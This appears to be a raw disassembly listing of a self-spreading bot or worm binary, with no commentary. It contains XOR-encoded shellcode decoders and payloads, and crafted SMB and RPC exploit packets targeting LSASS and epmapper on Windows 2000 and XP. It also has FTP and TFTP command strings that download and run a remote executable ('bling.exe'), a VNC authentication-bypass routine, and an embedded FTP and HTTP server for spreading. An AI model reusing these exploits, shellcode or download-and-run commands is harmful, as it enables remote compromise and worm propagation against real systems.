loc_432376:				; CODE XREF: sub_432352+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_43238A
sub_432352	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43237D	proc near		; CODE XREF: sub_432352:loc_43238Ap
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_43237D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_432352


loc_43238A:				; CODE XREF: sub_432352+29j
		call	sub_43237D


loc_43238F:				; DATA XREF: sub_40CD9E+320o
		add	[eax+0], ah
; END OF FUNCTION CHUNK	FOR sub_432352
; ---------------------------------------------------------------------------
		dw 0
dword_432394	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CD9E+2F5o
dword_4323A0	dd 30h			; DATA XREF: sub_40CD9E+2CAo
dword_4323A4	dd 0A1h			; DATA XREF: sub_40CD9E+29Fo
dword_4323A8	dd 3			; DATA XREF: sub_40CD9E+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_40CD9E+153o
		align 4


loc_4323B4:				; DATA XREF: sub_40CD9E+E8o
		jmp	short near ptr dword_4323BC
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_4323BC	dd 0			; CODE XREF: ___:loc_4323B4j
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: ___:0040D5F4o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 4
dword_432424	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA	XREF: ___:0040E02Do
					; ___:0040E167o
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_432470	dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
					; DATA XREF: sub_40DCF9+123o
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
dword_4327D4	dd 20h,	0		; DATA XREF: sub_40DCF9+136o
		dd 20h,	5C005Ch, 0
off_4327E8	dd offset aLafler	; DATA XREF: sub_40DCF9+15Do
					; "Lafler"
		dd offset dword_5C0024
a12345611111111:
		unicode	0, <123456111111111111111.doc>,0
		align 8
dword_432828	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_40DCF9+174o
		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
off_43285C	dd offset word_580046	; DATA XREF: sub_40DCF9+45o
		dd offset loc_42004C+2
		dd offset word_580046
		dd offset word_580046
		dd offset loc_42004C+2
		dd offset word_580046
		dd offset word_580046
		dd offset word_580046
		dd offset word_580046
		dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr	db ''
		db ''
		db '',0
dword_432938	dd 10016C6h		; DATA XREF: sub_40DCF9+104o
dword_43293C	dd 100139Dh		; DATA XREF: sub_40DCF9+FBo
off_432940	dd offset dword_5C005C	; DATA XREF: sub_40DB5E+1Co
					; sub_40DC41+16o
		align 8
off_432948	dd offset dword_49005C	; DATA XREF: sub_40DB5E+Co
					; sub_40DC41+Bo
		dd offset aLallemant+8
		dd 24h
aSExploitingIpS	db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: ___:0040E235o
					; ___:0040E99Eo ...
		align 10h
aTftpFileTransf	db '[TFTP]: File transfer complete to IP: %s',0 ; DATA XREF: ___:0040E1E8o
		align 4
aSPipeEpmapper	db '\\%s\pipe\epmapper',0 ; DATA XREF: ___:0040DF8Do
		align 10h
		jmp	short loc_4329C2

; =============== S U B	R O U T	I N E =======================================



sub_4329B2	proc far		; CODE XREF: sub_4329B2:loc_4329C2p
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h


loc_4329BA:				; CODE XREF: sub_4329B2+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_4329BA
		jmp	short loc_4329C7
; ---------------------------------------------------------------------------


loc_4329C2:				; CODE XREF: ___:004329B0j
		call	near ptr sub_4329B2


loc_4329C7:				; CODE XREF: sub_4329B2+Ej
		jo	short loc_432A2B
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_432A49
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]


loc_432A2B:				; CODE XREF: sub_4329B2:loc_4329C7j
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------


loc_432A49:				; CODE XREF: sub_4329B2+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_4329B2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------


loc_432AF0:				; DATA XREF: sub_40E3F1+156o
					; sub_40E3F1+212o
		jmp	short loc_432B02

; =============== S U B	R O U T	I N E =======================================



sub_432AF2	proc near		; CODE XREF: sub_432AF2:loc_432B02p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_432AFA:				; CODE XREF: sub_432AF2+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_432AFA
		jmp	short loc_432B07
; ---------------------------------------------------------------------------


loc_432B02:				; CODE XREF: ___:loc_432AF0j
		call	sub_432AF2


loc_432B07:				; CODE XREF: sub_432AF2+Ej
		jo	short near ptr dword_432A80+1Eh
		cwde
		cdq
		cdq
		retn
sub_432AF2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_432BA0	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_40E3F1+105o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_432C88	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: ___:0040E8A6o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_432D14	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:0040E8D2o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
dword_432DC0	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:0040E8F9o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_432EA0	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+58o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC_0:					; DATA XREF: sub_40E3F1+8Ao
		unicode	0, <C$>,0
a?????		db '?????',0
		dd 0
dword_432F04	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+2AAo
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_432F70	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+2D1o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_433014	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+3B0o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_433094	dd offset loc_401495	; DATA XREF: sub_40E3F1+3DEo
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_433128	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+306o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_433194	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+331o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_433208	dd 0			; DATA XREF: sub_40E3F1+35Fo
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 0
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 0
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 2	dup(0)
word_433290	dw 0AD9Dh		; DATA XREF: sub_40E292+30r
					; sub_40E3F1+E7r
		align 4
		dd 2 dup(0)
aWinxpProfessio	db 'WinXP Professional    [universal] lsass.exe ',0
		align 10h
dword_4332D0	dd 1004600h		; DATA XREF: sub_40E3F1+140r
					; sub_40E3F1+245r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
aEchoOpenSDOEch	db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &'
					; DATA XREF: sub_40E292+BCo
		db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0
		align 4
aTftpISGetS	db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_40E292+97o
; ---------------------------------------------------------------------------


loc_433408:				; DATA XREF: sub_40E3F1+177o
		jmp	short loc_433410
; ---------------------------------------------------------------------------
		jmp	short loc_433412
; ---------------------------------------------------------------------------
		align 10h


loc_433410:				; CODE XREF: ___:loc_433408j
					; DATA XREF: sub_40E3F1+27o
		pop	esp
		pop	esp


loc_433412:				; CODE XREF: ___:0043340Aj
		and	eax, 70695C73h
		arpl	[eax+eax], sp
; ---------------------------------------------------------------------------
		dw 0
dword_43341C	dd 1CEC8166h		; DATA XREF: sub_40E3F1+Dr
dword_433420	dd 0E4FF07h		; DATA XREF: sub_40E3F1+16r
dword_433424	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40EAE9+5Ao
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 4
aCmdCEchoOpen_0	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40E9FB+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
aVncD_DSSAuthby	db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040EE25o
		align 4
aRfb03d_03d	db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040ECB2o
		align 4
word_4346DC	dw 1			; DATA XREF: ___:0040EC29r
					; sub_41B55B+24r ...
		align 10h
dword_4346E0	dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh
					; DATA XREF: sub_41A1B1+21o
		dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h
		dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h
		dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h
		dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh
		dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h
		dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h
		dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h
		dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh
		dd 0
		dd 392C3003h, 5E5E207Ch, 534F4241h, 5E374C41h, 37C205Eh
		dd 7C312C30h, 77305020h, 75467233h, 20796C6Ch, 2C31037Ch
		dd 207C2038h, 336E5730h, 203E2044h, 7325h, 20363232h, 6E617254h
		dd 72656673h, 6D6F6320h, 74656C70h, 0A2E65h, 20303531h
		dd 6E65704Fh, 20676E69h, 414E4942h, 6D205952h, 2065646Fh
		dd 61746164h, 6E6F6320h, 7463656Eh, 0A6E6F69h, 0
aRetr		db 'RETR',0
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0
aXX		db '%x%x',0Ah,0
		align 10h
aS_2		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
		db ']',0
aPort		db 'PORT',0
		align 10h
a226TransferCom	db '226 Transfer complete',0Ah,0
		align 4
aList_0		db 'LIST',0
		align 10h
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
		align 4
aPasv		db 'PASV',0
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0
aI_0:					; DATA XREF: ___:004387E8o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0
aA_0:					; DATA XREF: ___:004387F4o
		unicode	0, <A>,0
aType		db 'TYPE',0
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0
		align 4
		dd offset dword_445750
a350Restarting_	db '350 Restarting.',0Ah,0
		align 4
aRest		db 'REST',0
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0
		align 4
aSyst		db 'SYST',0
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0
		align 4
aPass_0		db 'PASS',0
		align 4
a331PasswordReq	db '331 Password required',0Ah,0
		align 4
aUser_2		db 'USER',0
		align 4
aSS_2		db '%s %s',0
		align 4
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0
		align 4
unk_4349C4	db  2Dh	; -		; DATA XREF: sub_40FAD6+3F8o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
asc_4349EC	db 0Dh,0Ah,0		; DATA XREF: sub_40FAD6+2CFo
					; sub_41AA1E+F5o
		align 10h
aGet_0		db 'GET ',0             ; DATA XREF: sub_40FAD6+269o
		align 4
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+D4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40FF31+98o
					; sub_41AF8F+1AEo
		align 10h
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40FF31+84o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40FF31:loc_40FF97o
		align 10h
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40FF31+5Fo
		align 4
unk_434C0C	db  2Dh	; -		; DATA XREF: sub_4100B4+296o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
